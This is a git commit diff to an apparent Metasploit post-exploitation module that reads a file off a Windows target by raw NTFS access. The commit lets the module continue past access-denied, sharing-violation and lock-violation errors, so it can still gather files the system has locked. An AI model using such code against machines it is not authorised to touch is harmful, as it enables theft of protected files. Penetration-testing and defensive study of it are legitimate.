Ignore some error conditions

bug/bundler_fix
Meatballs 2015-02-08 18:46:48 +00:00
parent cc4fc1aefa
commit 9518090b8b
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
1 changed files with 18 additions and 5 deletions

View File

@ -4,9 +4,12 @@
## ##
require 'rex/parser/fs/ntfs' require 'rex/parser/fs/ntfs'
require 'action_view/helpers/number_helper'
class Metasploit3 < Msf::Post class Metasploit3 < Msf::Post
include Msf::Post::Windows::Priv include Msf::Post::Windows::Priv
include Msf::Post::Windows::Error
ERROR = Msf::Post::Windows::Error
def initialize(info = {}) def initialize(info = {})
super(update_info(info, super(update_info(info,
@ -40,10 +43,19 @@ class Metasploit3 < Msf::Post
r = client.railgun.kernel32.GetFileAttributesW(file_path) r = client.railgun.kernel32.GetFileAttributesW(file_path)
if r['GetLastError'] != 0 case r['GetLastError']
when ERROR::SUCCESS, ERROR::SHARING_VIOLATION, ERROR::ACCESS_DENIED, ERROR::LOCK_VIOLATION
# Continue, we can bypass these errors as we are performing a raw
# file read.
when ERROR::FILE_NOT_FOUND, ERROR::PATH_NOT_FOUND
fail_with( fail_with(
Exploit::Failure::BadConfig, Exploit::Failure::BadConfig,
'The file does not exist, use file format C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts' "The file, #{file_path}, does not exist, use file format C:\\\\Windows\\\\System32\\\\drivers\\\\etc\\\\hosts"
)
else
fail_with(
Exploit::Failure::Unknown,
"Unknown error locating #{file_path}. Windows Error Code: #{r['GetLastError']} - #{r['ErrorMessage']}"
) )
end end
@ -64,8 +76,9 @@ class Metasploit3 < Msf::Post
end end
@handle = r['return'] @handle = r['return']
print_status("Successfuly opened #{drive}") vprint_status("Successfuly opened #{drive}")
begin begin
@bytes_read = 0
fs = Rex::Parser::NTFS.new(self) fs = Rex::Parser::NTFS.new(self)
print_status("Trying to gather #{file_path}") print_status("Trying to gather #{file_path}")
path = file_path[3, file_path.length - 3] path = file_path[3, file_path.length - 3]
@ -80,7 +93,7 @@ class Metasploit3 < Msf::Post
end end
def read(size) def read(size)
client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)["lpBuffer"] client.railgun.kernel32.ReadFile(@handle, size, size, 4, nil)['lpBuffer']
end end
def seek(offset) def seek(offset)